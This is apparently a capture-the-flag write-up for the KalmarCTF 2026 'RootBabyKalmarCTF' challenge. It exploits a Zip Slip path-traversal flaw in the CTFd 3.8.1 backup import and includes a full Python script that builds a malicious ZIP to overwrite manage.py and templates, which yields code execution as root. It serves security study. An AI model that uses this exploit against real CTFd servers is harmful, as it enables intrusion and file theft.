KalmarCTF 2026 RootBabyKalmarCTF Writeup — Zip Slip (CVE-2026-30345) for CTFd Root
Overview
KalmarCTF 2026 Web challenge “RootBabyKalmarCTF” (170pts).
A CTFd 3.8.1 instance is provided with admin credentials for the management panel.
The goal is to read /flag2-<random>.txt as root, not admin.
Vulnerability
CVE-2026-30345: CTFd 3.8.1 Zip Slip (Path Traversal)
The /admin/import backup import function checks if ZIP file entry names contain ...
However, the check can be bypassed using the uploads//absolute/path format (double slash).
The Check
for f in members:
if f.startswith("/") or ".." in f:
raise zipfile.BadZipfile
The Bypass
Entry name: uploads//opt/CTFd/manage.py
startswith("/")→ False (starts withuploads/)".." in f→ False (no..present)- File processing:
f.split("/", 1)[1]→/opt/CTFd/manage.py(absolute path) os.path.join("/var/CTFd/uploads", "/opt/CTFd/manage.py")→/opt/CTFd/manage.py
Python’s os.path.join ignores the first argument when the second is an absolute path.
This is the core of the Zip Slip bypass.
Exploitation Steps
Step 1: Obtain Export
Log in as admin and download a legitimate backup ZIP from /admin/export.
The DB structure (db/ directory) is required for import.
Step 2: Craft Malicious ZIP
Place three files via Zip Slip:
manage.py— The file thatbackground_import_ctfexecutes viasubprocess.Popenas a separate process. Inject code to read the flag and write it to the template directory.notifications.html— Jinja2 template. Uses{% include "flag_data.html" %}to include the flag file.flag_data.html— Placeholder. manage.py overwrites it with flag contents.
import zipfile, os
EXPORT_DIR = '/tmp/ctfd-export'
OUTPUT = '/tmp/exploit.zip'
manage_py = '''#!/usr/bin/env python3
import os, glob
flag = ''
for f in glob.glob('/flag2-*.txt'):
with open(f) as fh: flag += fh.read()
if not flag: flag = 'NO_FLAG: ' + str(os.listdir('/'))
for path in ['/opt/CTFd/CTFd/themes/core/static/img/f.txt',
'/opt/CTFd/CTFd/themes/core/templates/flag_data.html']:
try:
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'w') as fh: fh.write(flag)
except: pass
from flask.cli import FlaskGroup
from CTFd import create_app
app = create_app()
cli = FlaskGroup(app)
cli()
'''
# Jinja2 template: includes flag_data.html to display the flag
# MARKER={{ 7*7 }} is a template engine verification (displays 49 if working)
ssti_include = '{% include "flag_data.html" ignore missing %}MARKER={{ 7*7 }}'
with zipfile.ZipFile(OUTPUT, 'w') as zf:
# DB files (required for valid import)
for root, dirs, files in os.walk(os.path.join(EXPORT_DIR, 'db')):
for fname in files:
fpath = os.path.join(root, fname)
zf.write(fpath, os.path.relpath(fpath, EXPORT_DIR))
# Zip Slip payloads
zf.writestr('uploads//opt/CTFd/manage.py', manage_py)
zf.writestr('uploads//opt/CTFd/CTFd/themes/core/templates/notifications.html',
ssti_include)
zf.writestr('uploads//opt/CTFd/CTFd/themes/core/templates/flag_data.html',
'PLACEHOLDER')
Step 3: First Import
Upload the ZIP to /admin/import.
This overwrites manage.py and places the template files.
Step 4: Second Import
Why two imports? The first import overwrites manage.py. The second import causes CTFd to execute background_import_ctf → subprocess.Popen which runs the overwritten manage.py as a new process. First import is “planting the weapon”, second is “pulling the trigger”.
manage.py then:
- Searches for
/flag2-*.txtvia glob - Writes flag contents to
flag_data.html(for template display) - Writes flag contents to
static/img/f.txt(backup via direct access) - Executes the original import process
Step 5: Retrieve Flag
Access /notifications. The template renders {% include "flag_data.html" %} displaying the flag.
Flag
kalmar{RootBabyKalmarCTF-wow_you_are_really_up_to_no_good_you_naughty_root_wizard_10d78345f5b9e992}
Failed Attacks (Lessons Learned)
| Attempt | Result | Lesson |
|---|---|---|
| Plugin upload | /admin/plugins returned 404 | Features can be disabled per environment |
| SSTI via Pages API | Template not evaluated | CTFd does not process page content as Jinja2 |
| Jinja2 Sandbox bypass | __globals__ blocked | CTFd uses SandboxedEnvironment. attr(), string concat, lipsum all failed |
| sandbox.py overwrite | File overwritten but not reflected | Python’s sys.modules cache prevents module reload |
| Template cache issue | Old content displayed after overwrite | Jinja2 LRU cache. Target uncached templates |
| sitecustomize.py, .pth | Written successfully but not executed | Python startup hooks don’t fire without process restart |
Key Insights
os.path.joinbehavior: Ignores first argument when second is absolute — the core of the Zip Slip bypassbackground_import_ctfspawns a new process: Overwriting manage.py means arbitrary code execution on next import- Jinja2 template cache: Target uncached templates (LRU cache evasion)
docker-compose.ymlwithuser: root: CTFd process runs as root, enabling arbitrary file read/write
